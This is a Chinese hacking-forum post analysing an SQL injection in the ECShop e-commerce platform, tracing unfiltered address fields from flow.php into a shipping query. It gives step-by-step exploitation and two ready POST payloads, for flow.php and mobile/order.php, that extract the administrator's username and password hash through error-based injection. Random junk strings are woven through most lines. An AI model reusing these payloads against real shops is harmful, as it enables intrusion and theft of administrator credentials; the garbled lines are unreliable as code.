找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2084|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。, ]# D& j1 ~! K, |1 x( l0 u
4 |4 e' Q& j9 W8 G# v
    漏洞关键文件:5 p' ~2 V) o* r" K
9 }! e+ V& {- H& I0 @, Z* s
    /includes/lib_order.php
: x6 Y# ]7 I" p- v9 ?
  h! m. x4 X, r; a6 Y2 |& K  e    关键函数:$ ?) P: A. e6 L& h

; n) I  U, E) f9 |3 P5 ] + w1 O8 \, s# \# j
6 |, j; P" q& S: P4 j
01     function available_shipping_list($region_id_list)
" d  z3 z5 z# o* B: r1 V4 [. Y5 l3 T; i& S) G
02 { 7 U0 E8 e2 L; z7 r' \

6 r& s1 ^: v7 T! Z5 B) \: c! [03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . # ]" e* H7 G! z: l$ {/ ]
2 i7 P; {" [7 U- k4 i
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . ( t7 m, o0 z) {) z% {7 J
! Z- S+ q# y1 ?  G7 D" ~
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . , K$ Y7 J% ?* a. o
4 H, K# i* {# ?0 s0 K
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . 9 \! C3 k7 \- |( p! ~: `, H, u

; q( K0 J9 W1 B( y- m& j07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
% l4 Y+ y6 P- q& v4 f% e; @+ L8 i0 J# N: v% _; I8 n. [6 x
08             'WHERE r.region_id ' . db_create_in($region_id_list) . $ E7 j- X" I. l' U! D+ p
6 |% R# Q6 y$ M" T
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
4 c, h  a6 s' {9 L
: M# ~( g3 |+ g( T3 Z, W/ p10   
( L, n/ F/ {9 T' ?6 @* Y" ^) C6 q3 c( e9 J
11     return $GLOBALS['db']->getAll($sql);
0 n! Z' r+ m! J- {$ b, n! `4 X6 {" l7 \: j' m* X. w4 u6 ?& T" S
12 }   o4 \% {( F. c% o8 x
0 w  h6 \% v# Z4 M6 A8 p
显然对传入的参数没有任何过滤就带入了查询语句。
: N4 E! t+ M7 `  R & d5 G. C2 g+ s
下面我们追踪这个函数在flow.php中:/ P  S2 e- N5 Y2 E
第531行:   
4 \3 x$ E; x; J! H: a
3 k8 ?; K' Z/ L* O4 x6 A7 v1 $shipping_list     = available_shipping_list($region); ! K0 P7 L. a$ I7 j* F9 E( h

2 G. d; F  K* C  p  v 7 R& c) K) n1 K" o4 r# i+ N
& b4 V* U0 t( T: ?- c& Q

4 i5 h9 {4 M( F5 c' o. R  k, I
! g! t+ N; ^1 o  N再对传入变量进行追踪:9 M, E, o# s5 e1 l) c
. `; @/ W0 J% n
第530行:    2 X9 ], J  D$ b( B7 m9 `* n
. [1 w) P, ~' F
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 0 r/ x& Z) M1 ^
$ h( _3 Y. L5 Z/ t) p
3 W6 n, C- o* ~! X/ Y3 Z9 b  l
8 n0 u: Q# d: ~4 E; _) \
! L" [' Z: w6 F( _" R8 S* V) t" q
; u- \4 k; H( g; a' D0 |
第473行:        
7 ?' h3 n" v/ ^1 Z4 q0 j& e& w: z, s1 [+ V, d5 M
1 $consignee = get_consignee($_SESSION['user_id']);
  p: B8 G7 }1 Y. ]/ f; R  r! F# M! H/ A1 K
到了一个关键函数:9 B9 c& P0 H3 h/ b% K2 {

, A& G) O2 S; F5 u- S/includes/lib_order.php
; G' v8 c) o- M6 ?! p
0 z0 Z: Z+ S9 K' N0 _ / H. W& a3 q; r. c" o3 T

+ ^7 D7 [1 d! L7 @# f5 f
5 n& _# V2 N4 c# Z# v$ O8 S1 Z
( E; n9 i; C+ {; X01 function get_consignee($user_id)
# L/ F, M# R- C/ q2 X& I4 g5 y# x
02 {
0 o3 G6 D& e$ b# y+ b2 g6 ^$ ?) v) {0 t: O! B  k9 [" Y( s
03     if (isset($_SESSION['flow_consignee'])) 7 Y( k. O$ L; j) j/ ^' r0 Y

- U2 R/ U0 c+ d04     {   x- i2 B2 Y3 k3 d. J/ i
4 J9 O3 W* N) G/ I* z( d) u
05         /* 如果存在session,则直接返回session中的收货人信息 */ # _3 g* ^* Z3 F: y  l

% T8 c! b1 `: X' }' E2 N, P06   + _% h, @+ X# Q# `0 K! U
" U. ?5 v7 z3 [! r
07         return $_SESSION['flow_consignee'];
& }7 |" ?4 z4 r% m: g4 I
) E- K3 l, n! v% }/ A08     } 4 H) F0 v  H" b5 A9 \, Z, ^, N
2 Q* M- H+ |5 ?) R# W
09     else " A- H7 @+ o. ]
1 _. p7 t! d. }% _0 m" z# c
10     { 7 ^9 X% |! I( ^/ S& n5 }

; ]5 _" j; [- }$ t11         /* 如果不存在,则取得用户的默认收货人信息 */ ( [: N" }& f0 L# E5 w0 Y

, ^) ?" z) P: s  s12         $arr = array(); 4 {: ~  r( V2 \

5 n6 F8 F* p% _13   - z" @8 A; l3 j( B

6 ?( o- V- u9 p1 X) H14         if ($user_id > 0) : _* D& {  Z) }- U8 r1 J( V' z% s# b
7 M$ K+ d8 o) g$ h- ]# E: N5 b" t% ^
15         {
0 H' ^, W6 S+ ]; i2 P! S  ~; r' r9 Y
16             /* 取默认地址 */ " H/ }, l/ u! y1 B" w$ j1 p
- p; G9 P! w, J/ S: T% |: W3 _
17             $sql = "SELECT ua.*".
  f9 z  t+ _7 q( y
5 j1 I9 {- X6 ?/ M6 v18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
- t7 w# ]$ _: Z! m7 X
4 F, {+ O% c; D$ s19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
' _% A3 v4 d4 l' z: R
9 ^4 C7 H4 T1 R! E% L20   5 r: D/ \% d# A3 k0 O% C
4 h, i5 V+ I( h# m, t
21             $arr = $GLOBALS['db']->getRow($sql); ; R; s  J- e( w- \- ]
) B6 e7 E7 j; Q; [$ D) B% t/ m
22         }
( g' t2 \" T. o0 z) J- B* w2 v0 T$ g- |) n5 x3 z
23   
9 Q  |9 G/ [& ~: r# |- B# a8 K: n* ]+ f, u. b
24         return $arr;
5 k, G6 H. W) C" `& C* d8 B1 ]! N3 V
25     }
1 N6 v) C" ~* f0 ?1 U6 c
7 d; |& B5 J& B: J$ w9 N9 T0 c1 Q26 }
9 c9 [* G  d0 w3 ?+ C2 ~/ q
5 Q( a0 s0 Z  s+ G# W# K. x显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
1 p5 v6 h8 V/ |9 v- _( K3 K2 H2 [6 Y/ d* ~
" [) S% A/ z$ Y3 Y( D) u* g
& O9 Q: U, T2 _. _+ b, o: l+ A- }
关键点:
5 t; i& k4 F, }8 v) i4 t3 q9 K7 m3 v' T; K- Z% b
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);' M* P1 D' D9 c

' D( W# h! t- u; Q$ o这里对传入参数反转义存入$_SESSION中。
; l! @/ [( H6 o- M3 y* j1 t/ k) n% E! s3 K  ]
" j# G6 d3 W: G4 v

+ U0 a9 C% \: L  {- K然后看下:* N. K! J) u5 t6 Z
: V; c3 v6 N$ p& Y8 ]  ~
$ G1 g$ g) _; ^5 C" w/ V; {6 ]! a
# T- l' Y! i. x. w. G
    ' ^- i6 E% Q4 v8 G' i0 H$ @
- B' O' Z5 g1 J6 j0 I% ?
01 $consignee = array( $ J2 Y0 \7 \- L  L5 U2 n- u+ @

: g9 m6 B% `- n2 `+ f, o, m3 X02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), # O) I& a1 W: E0 {6 E

  i' P. w: I7 p03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
8 G' R$ H% w3 ^) \; G) I) J, ^+ }0 u! l/ s5 @) M6 Y* u- x4 u
04         'country'       => empty($_POST['country'])    ? '' _POST['country'], & m- {) J* w/ X$ k) \

- N+ u* t9 @% r3 t% Z" Y7 e+ @05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
' V( C! g( t4 C+ B, l+ U' n5 S& }+ U( o* W! D. p
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
! @3 b. Z; P) |' V$ C% J  ?9 x* {" G( ~4 w8 {
07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
; v( N  f5 z# `3 O
- o  h* ]1 M. t: l! U0 J08         'email'         => empty($_POST['email'])      ? '' _POST['email'], $ p, p' D  z0 m" q' @% z6 k8 X. z0 d6 `* i
$ s/ v8 f9 ^/ G, x4 j; J/ ]" J9 b
09         'address'       => empty($_POST['address'])    ? '' _POST['address'], 5 v/ E4 e* ?2 a: ^% {

) F  \: j& v6 }/ H& P- _  K10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
: h( e" i* f$ U$ ]. K5 R1 |+ ]0 z7 j# c/ T  g
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
8 `" r1 m6 y" ?2 ~* Y# m
. m4 r' A3 Y2 N+ Y0 u12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), ; v( w: P1 ]" z( |& ], T, p6 A
% d5 C1 p) H) }& i+ a: T2 T
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
( s0 I" U0 @5 N, A8 a
6 H) |% y0 l' J% Y14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
4 \5 S6 o3 E; v/ j& W7 p  ~( Z" X* y# C+ u; i
15     ); ( B9 ~" ~+ z/ v" r; ?2 }

9 z1 S9 G+ q  |5 ?1 t4 c好了注入就这样出现了。
/ g6 }, X/ S( P0 ~6 c2 ]: N' J- w7 n. r: L
==================
+ z/ i) M( z" i+ Y$ W6 F! K
" M* R) f& O% Y, e* v- \注入测试:* g& d, R1 D2 p& k4 C

% W: {' k" c9 t! o7 T0 c& w环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
. w* j0 |! x5 r: i, j& V9 o. V; P3 Z
/ s9 s) v9 B2 `测试程序:ECShop_V2.7.3_UTF8_release1106
" l! z& W* T0 k" h6 |) b. L7 h$ l3 E. b4 b+ {/ z8 k$ L; A- O1 M
% j" ^$ d3 Z, d8 N) d( m( Z
9 I9 `1 T7 b# a
1.首先需要点击一个商品加入购物车
. o0 g6 b/ Y7 {/ y$ B6 O* m/ @  i' t& }3 ^0 c- G; N
2.注册一个会员帐号
& h& y4 k* N, E! n, w. c: ?2 ]( z9 @2 o% c% }; O/ J  ?* x
3.post提交数据
# C/ z! \% L5 G6 M& ?) i
4 S' s, h# F7 N 0 |  g9 G& ]! |- B! m

3 n# J7 c5 {+ ~- {9 H5 v8 A1 http://127.0.0.1/ecshop/flow.php
+ L6 P7 {( [( G9 I2 b
6 o0 Q6 Y( }4 p7 L6 ~7 {2   ; P/ H. P4 E0 i

7 ~: W! a* {2 g* X& O3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= 1 j$ N- s) j) x" s8 k/ Q9 D$ c
举一反三,我们根据这个漏洞我们可以继续深入挖掘:* S- r' Z9 }4 x: q. w# D( W9 S

* b. C# }( M2 i- G我们搜寻关键函数function available_shipping_list()9 U* t7 t, G. O6 P4 s; i

. [) o  _/ l, s/ t. v在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
0 F8 L7 A' I1 }# H2 ^
; m1 e5 V* Q. d; o* g$ V利用exp:& c( C1 v$ k$ b% k7 g2 k2 v/ ]

+ e0 H7 G6 [) m! Z- @& g" }+ F1.点击一个商品,点击购买商标
" j2 \0 D- v8 D; V: r6 U+ {
7 _4 c# @* D  v" n2.登录会员帐号3 Y  t/ S) J" Q. y% a  Q, @
9 O  C' J6 L& O4 _
3.post提交:
; |( }4 s0 Q! T& h4 s
+ `0 W* l' i: r6 _$ Qhttp://127.0.0.1/ecshop/mobile/order.php
9 Z3 a' U' _1 {8 j5 D  r* E3 F0 u0 j& {5 z
9 h6 m; `; H) H3 r- i% K

, \* a2 o! a, O* bcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=2 R: U+ h( ~. }# m
( d* i- Y2 I  u1 |* I
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表